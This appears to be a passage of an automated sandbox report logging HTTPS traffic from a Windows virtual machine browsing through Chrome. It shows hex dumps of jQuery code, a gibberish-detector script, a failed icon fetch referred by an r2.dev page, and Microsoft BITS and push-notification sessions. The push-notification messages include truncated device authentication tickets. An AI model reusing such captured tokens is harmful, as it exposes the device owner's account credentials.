2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 20 68 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 72 20 29 20 7b 0a 09 09 09 68 61 6e 64 6c 65 4f 62 6a 49 6e 20 3d 20 68 61 6e 64 6c 65 72 3b 0a 09 09 09 68 61 6e 64 6c 65 72 20 3d 20 68 61 6e 64 6c 65 4f 62 6a 49 6e 2e 68 61 6e 64 6c 65 72 3b 0a 09 09 09 73 65 6c 65 63 74 6f 72 20 3d 20 68 61 6e 64 6c 65 4f 62 6a 49 6e 2e 73 65 6c 65 63 74 6f 72 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 45 6e 73 75 72 65 20 74 68 61 74 20 69 6e 76 61 6c 69 64 20 73 65 6c 65 63 74 6f 72 73 20 74 68 72 6f 77 20 65 78 63 65 70 74 69 6f 6e 73 20 61 74 20 61 74 74 61 63 68 20 74 69 6d 65 0a 09 09 2f 2f 20 45 76 61 6c 75 61 74 65 20 61 67 61 69 6e 73 74 20 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 20 69 6e 20 63 61 73 65 20 65 6c 65 6d 20 69 73 20 61 20 6e 6f 6e 2d 65 6c 65 6d 65 6e Data Ascii: handler.handler ) {handleObjIn = handler;handler = handleObjIn.handler;selector = handleObjIn.selector;}// Ensure that invalid selectors throw exceptions at attach time// Evaluate against documentElement in case elem is a non-elemen
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 09 09 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 0a 09 09 09 29 3b 0a 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 7d 0a 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 79 70 65 73 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 29 20 7b 0a 0a 09 09 09 2f 2f 20 28 20 74 79 70 65 73 2d 6f 62 6a 65 63 74 20 5b 2c 20 73 65 6c 65 63 74 6f 72 5d 20 29 0a 09 09 09 66 6f 72 20 28 20 74 79 70 65 20 69 6e 20 74 79 70 65 73 20 29 20 7b 0a 09 09 09 09 74 68 69 73 2e 6f 66 66 28 20 74 79 70 65 2c 20 73 65 6c 65 63 74 6f 72 2c 20 74 79 70 65 73 5b 20 74 79 70 65 20 5d 20 29 3b 0a 09 09 09 7d 0a 09 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 7d 0a 09 09 69 66 20 28 20 73 65 6c 65 63 74 6f 72 20 3d 3d 3d 20 66 61 6c 73 65 20 7c 7c 20 74 79 70 65 6f 66 20 Data Ascii: handleObj.handler);return this;}if ( typeof types === "object" ) {// ( types-object [, selector] )for ( type in types ) {this.off( type, selector, types[ type ] );}return this;}if ( selector === false \|\| typeof

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49743	185.199.111.153	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:02 UTC	382	OUT	GET /gibberish-detector.js/gibberish.min.js HTTP/1.1 Host: gtomitsuka.github.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:03 UTC	698	IN	HTTP/1.1 200 OK Connection: close Content-Length: 928 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Sun, 28 Jul 2019 00:43:06 GMT Access-Control-Allow-Origin: * ETag: "5d3cef9a-3a0" expires: Sat, 28 Sep 2024 23:09:01 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: FD25:946D5:253C7CE:29B609A:66F88A34 Accept-Ranges: bytes Date: Sat, 28 Sep 2024 22:59:02 GMT Via: 1.1 varnish Age: 1 X-Served-By: cache-ewr-kewr1740061-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727564343.937410,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 33715b3661fb8f5b08d4959d22b385ef1cb14069
2024-09-28 22:59:03 UTC	928	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 68 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 63 2c 62 2c 61 29 7b 72 65 74 75 72 6e 20 63 3c 62 3f 28 61 3d 62 2d 63 2c 4d 61 74 68 2e 6c 6f 67 28 62 29 2f 4d 61 74 68 2e 6c 6f 67 28 61 29 2a 31 30 30 29 3a 63 3e 61 3f 28 62 3d 63 2d 61 2c 4d 61 74 68 2e 6c 6f 67 28 31 30 30 2d 61 29 2f 4d 61 74 68 2e 6c 6f 67 28 62 29 2a 31 30 30 29 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 63 29 7b 66 6f 72 28 76 61 72 20 62 3d 7b 7d 2c 61 3d 22 22 2c 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 63 5b 64 5d 69 6e 20 62 7c 7c 28 62 5b 63 5b 64 5d 5d 3d 31 2c 61 2b 3d 63 5b 64 5d 29 3b 72 65 74 75 72 6e 20 61 7d 68 2e 64 65 74 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 30 3d 3d 3d 63 2e 6c 65 6e 67 74 68 7c 7c 21 63 2e Data Ascii: (function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49744	35.156.224.161	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:03 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:03 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sat, 28 Sep 2024 22:59:03 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XDQT4AXM73XTG15KSBAD3G Content-Length: 50 Connection: close
2024-09-28 22:59:03 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 44 51 54 34 41 58 4d 37 33 58 54 47 31 35 4b 53 42 41 44 33 47 Data Ascii: Not Found - Request ID: 01J8XDQT4AXM73XTG15KSBAD3G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49738	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:03 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-28 22:59:03 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=150359 Date: Sat, 28 Sep 2024 22:59:03 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49745	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:04 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-28 22:59:04 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=150388 Date: Sat, 28 Sep 2024 22:59:04 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-28 22:59:04 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49746	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 44 77 6a 33 4d 6f 4c 47 45 57 65 53 67 48 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 37 36 62 37 63 32 39 37 65 33 38 64 63 64 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: MDwj3MoLGEWeSgHT.1Context: 776b7c297e38dcdd
2024-09-28 22:59:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-28 22:59:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 44 77 6a 33 4d 6f 4c 47 45 57 65 53 67 48 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 37 36 62 37 63 32 39 37 65 33 38 64 63 64 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6f 56 42 42 7a 4f 68 66 6e 35 62 65 59 78 65 64 48 4f 45 63 52 63 2b 72 66 67 6c 75 4d 65 78 4c 55 69 70 75 59 6e 6e 4d 34 59 73 70 77 5a 39 4b 57 45 4c 38 4c 67 52 39 48 4f 33 4b 66 6e 32 57 66 39 43 35 77 2f 4b 65 38 66 61 62 73 65 6b 47 2f 62 6e 62 68 76 6a 75 73 44 67 56 70 63 44 65 66 61 54 52 75 76 2b 4e 49 6f 4a 56 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: MDwj3MoLGEWeSgHT.2Context: 776b7c297e38dcdd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVoVBBzOhfn5beYxedHOEcRc+rfgluMexLUipuYnnM4YspwZ9KWEL8LgR9HO3Kfn2Wf9C5w/Ke8fabsekG/bnbhvjusDgVpcDefaTRuv+NIoJV
2024-09-28 22:59:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 44 77 6a 33 4d 6f 4c 47 45 57 65 53 67 48 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 37 36 62 37 63 32 39 37 65 33 38 64 63 64 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: MDwj3MoLGEWeSgHT.3Context: 776b7c297e38dcdd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-28 22:59:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-28 22:59:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 46 4d 64 39 44 6f 2b 6b 30 61 46 4a 58 48 39 48 35 71 43 6b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: rFMd9Do+k0aFJXH9H5qCkg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49753	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 38 42 46 38 67 62 47 67 45 61 35 68 64 4b 49 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 36 39 31 64 38 66 38 62 61 63 34 35 34 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 38BF8gbGgEa5hdKI.1Context: b9691d8f8bac4543
2024-09-28 22:59:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-28 22:59:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 38 42 46 38 67 62 47 67 45 61 35 68 64 4b 49 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 36 39 31 64 38 66 38 62 61 63 34 35 34 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6f 56 42 42 7a 4f 68 66 6e 35 62 65 59 78 65 64 48 4f 45 63 52 63 2b 72 66 67 6c 75 4d 65 78 4c 55 69 70 75 59 6e 6e 4d 34 59 73 70 77 5a 39 4b 57 45 4c 38 4c 67 52 39 48 4f 33 4b 66 6e 32 57 66 39 43 35 77 2f 4b 65 38 66 61 62 73 65 6b 47 2f 62 6e 62 68 76 6a 75 73 44 67 56 70 63 44 65 66 61 54 52 75 76 2b 4e 49 6f 4a 56 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 38BF8gbGgEa5hdKI.2Context: b9691d8f8bac4543<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVoVBBzOhfn5beYxedHOEcRc+rfgluMexLUipuYnnM4YspwZ9KWEL8LgR9HO3Kfn2Wf9C5w/Ke8fabsekG/bnbhvjusDgVpcDefaTRuv+NIoJV
2024-09-28 22:59:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 38 42 46 38 67 62 47 67 45 61 35 68 64 4b 49 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 36 39 31 64 38 66 38 62 61 63 34 35 34 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 38BF8gbGgEa5hdKI.3Context: b9691d8f8bac4543<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-28 22:59:20 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-28 22:59:20 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 37 79 2b 4f 6f 43 38 75 55 79 62 67 62 77 56 33 34 7a 77 70 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 97y+OoC8uUybgbwV34zwpQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49754	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:34 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 44 64 52 74 65 6f 31 68 6b 32 57 46 4c 53 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 36 33 39 63 32 39 31 66 66 35 30 35 37 36 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rDdRteo1hk2WFLS3.1Context: c639c291ff50576f
2024-09-28 22:59:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-28 22:59:34 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 72 44 64 52 74 65 6f 31 68 6b 32 57 46 4c 53 33 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 36 33 39 63 32 39 31 66 66 35 30 35 37 36 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6f 56 42 42 7a 4f 68 66 6e 35 62 65 59 78 65 64 48 4f 45 63 52 63 2b 72 66 67 6c 75 4d 65 78 4c 55 69 70 75 59 6e 6e 4d 34 59 73 70 77 5a 39 4b 57 45 4c 38 4c 67 52 39 48 4f 33 4b 66 6e 32 57 66 39 43 35 77 2f 4b 65 38 66 61 62 73 65 6b 47 2f 62 6e 62 68 76 6a 75 73 44 67 56 70 63 44 65 66 61 54 52 75 76 2b 4e 49 6f 4a 56 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: rDdRteo1hk2WFLS3.2Context: c639c291ff50576f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVoVBBzOhfn5beYxedHOEcRc+rfgluMexLUipuYnnM4YspwZ9KWEL8LgR9HO3Kfn2Wf9C5w/Ke8fabsekG/bnbhvjusDgVpcDefaTRuv+NIoJV
2024-09-28 22:59:34 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 44 64 52 74 65 6f 31 68 6b 32 57 46 4c 53 33 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 36 33 39 63 32 39 31 66 66 35 30 35 37 36 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: rDdRteo1hk2WFLS3.3Context: c639c291ff50576f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-28 22:59:35 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-28 22:59:35 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 49 4c 6c 74 4b 6d 59 4d 55 61 69 47 75 5a 79 44 70 62 4f 36 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tILltKmYMUaiGuZyDpbO6A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49756	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:54 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 49 34 79 66 59 77 64 70 6b 53 69 4f 78 56 33 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 31 65 61 34 37 35 36 35 61 64 34 65 33 66 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BI4yfYwdpkSiOxV3.1Context: 71ea47565ad4e3ff
2024-09-28 22:59:54 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
